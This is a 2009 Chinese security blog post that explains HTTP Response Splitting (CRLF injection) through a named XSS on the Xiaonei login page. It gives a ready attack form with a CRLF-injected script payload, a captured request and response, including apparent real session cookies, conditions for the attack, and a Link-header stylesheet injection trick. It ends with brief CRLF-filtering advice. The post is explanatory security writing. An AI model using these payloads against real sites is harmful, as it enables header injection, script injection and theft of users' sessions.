老樹開新花,再看 HTTP Response Splitting 攻擊

loseone發表於2009-05-20

 為了講清楚這個問題,首先我們來看一個校內網的XSS。

漏洞出在 http://login.xiaonei.com

正常情況下,使用者名稱處是已經htmlencode過了的


(實際上 a<script>這裡是 htmlencode過的)




接下來隨便在什麼站上構造如下form:

<form id="x" action="http://login.xiaonei.com/Login.do?email=a%0d%0a%0d%0a<script>alert(/XSS/);</script>" method="post">
    <!-- input name="email" value="" / -->
    <input name="password" value="testtest" />
    <input name="origURL" value="http%3A%2F%2Fwww.xiaonei.com%2FSysHome.do%0d%0a" />
    <input name="formName" value="" />
    <input name="method" value="" />
    <input type="submit" value="%E7%99%BB%E5%BD%95" />
</form>

提交該表單


將造成一個XSS


抓包看到資料是這樣構成的
POST http://login.xiaonei.com/Login.do?email=a%0d%0a%0d%0a<script>alert(/XSS/);</script> HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/x-silverlight, */*
Referer: http://www.a.com/test.html
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
UA-CPU: x86
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727)
Proxy-Connection: Keep-Alive
Content-Length: 103
Host: login.xiaonei.com
Pragma: no-cache
Cookie: __utmc=204579609; XNESSESSIONID=abcThVKoGZNy6aSjWV54r; _de=axis@ph4nt0m.org; __utma=204579609.2036071383.1229329685.1229336555.1229347798.4; __utmb=204579609; __utmz=204579609.1229336555.3.3.utmccn=(referral)|utmcsr=a.com|utmcct=/test.html|utmcmd=referral; userid=246859805; univid=20001021; gender=1; univyear=0; hostid=246859805; xn_app_histo_246859805=2-3-4-6-7; mop_uniq_ckid=121.0.29.225_1229340478_541890716; syshomeforreg=1; id=246859805; BIGipServerpool_profile=2462586378.20480.0000; _de=a; BIGipServerpool_profile=2462586378.20480.0000

password=testtest&origURL=http%253A%252F%252Fwww.xiaonei.com%252FSysHome.do%250d%250a&formName=&method=


HTTP/1.1 200 OK
Server: Resin/3.0.21
Vary: Accept-Encoding
Cache-Control: no-cache
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Set-Cookie: kl=null; domain=.xiaonei.com; path=/; expires=Thu, 01-Dec-1994 16:00:00 GMT
Set-Cookie: societyguester=null; domain=.xiaonei.com; path=/; expires=Thu, 01-Dec-1994 16:00:00 GMT
Set-Cookie: _de=a

<script>alert(/XSS/);</script>;
domain=.xiaonei.com; expires=Thu, 10-Dec-2009 13:35:17 GMT
Set-Cookie: login_email=null; domain=.xiaonei.com; path=/; expires=Thu, 01-Dec-1994 16:00:00 GMT
Content-Type: text/html;charset=UTF-8
Connection: close
Transfer-Encoding: chunked
Date: Mon, 15 Dec 2008 13:35:17 GMT

217b



<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>

......


可以看到,實際上就是分割了http response 包的包頭, %0d%0a 是換行,從而插入了我們自己的資料

HTTP Response Splitting 是 CRLF Injection的一種.

Carriage Return (CR, ASCII 13, /r) Line Feed (LF, ASCII 10, /n)

這兩個字元經常被用來作為換行。在很多文字、語言裡,都能這麼用,所以CRLF是一種廣義的攻擊,用在HTTP響應裡,就是 HTTP Response Splitting

這已經是非常古老的技術了,現在拿出來說,是因為前兩天看paper,發現提到IE8 的 XSS Filter沒有,也不會(微軟已確認)增加 CRLF + XSS 的防範。

所以在這裡只能依靠我們自己來對抗這種攻擊。

需要指出的是,如果直接用我上面那個form,可能會測試失敗,這是因為校內是有壓縮過HTTP包的

客戶端瀏覽器(我的是IE7),提交包頭裡有:
Accept-Encoding: gzip, deflate


所以伺服器知道客戶端接受壓縮包,所以選擇了壓縮響應包
Content-Encoding: gzip

這裡是採用gzip壓縮格式,如果壓縮後,直接插入明文的html程式碼,會報錯。

在實施HTTP Response Splitting 的時候,一般通過如下3個條件可以達成這種攻擊(當然要沒過濾%0d%0a):
1. Set-Cookie 中的內容使用者可以控制

2. 302跳轉的 Location 地址使用者可以控制

3. 其他自定義Header 使用者可以控制


上面舉的校內網的例子就是第一種,在 Set-Cookie 中有個欄位可以控制,而又沒過濾CR、LF

實際上這裡問題還不止如此,提交的引數中有一個
<input name="origURL" value="http%3A%2F%2Fwww.xiaonei.com%2FSysHome.do%0d%0a" />

此處將造成一個 302 跳轉,滿足我們的第二個條件,這裡也是可以控制的。

第三個條件,自定義的header,這個不多見,但我也在大站裡找到過案例,出於其他因素考慮,不在這裡舉例了。


GZIP的壓縮資料很討厭,導致我們必須要自己去壓縮資料,然後想辦法提交上去,大大增加了攻擊的門檻。但是如果CRLF的時候處在 Content-Encoding: gzip 之前,則可以提交明文資料,反之,則不能直接提交明文資料。


比較萬能的跨站是直接在HTTP頭裡插入新標準裡的 Link 標籤

Link: <http://www.a.com/xss.css>; REL:stylesheet

可以直接造成XSS


不光是XSS,HTTP Response Splitting 的嚴重性要高於XSS,因為能修改HTTP返回包頭,所以很可能造成跨域問題。

設想我們插入一個P3P頭,然後再在一個別的域引用此處,則會造成隱私資料的跨域.

此類問題非常之多,很多大站都有,不再舉例了。漏洞組合起來,威力絕對不止1+1=2這麼簡單了。


要防範很簡單,過濾或者替換 %0d%0a

針對我上面列出的3個條件,檢查所有輸出。

相關文章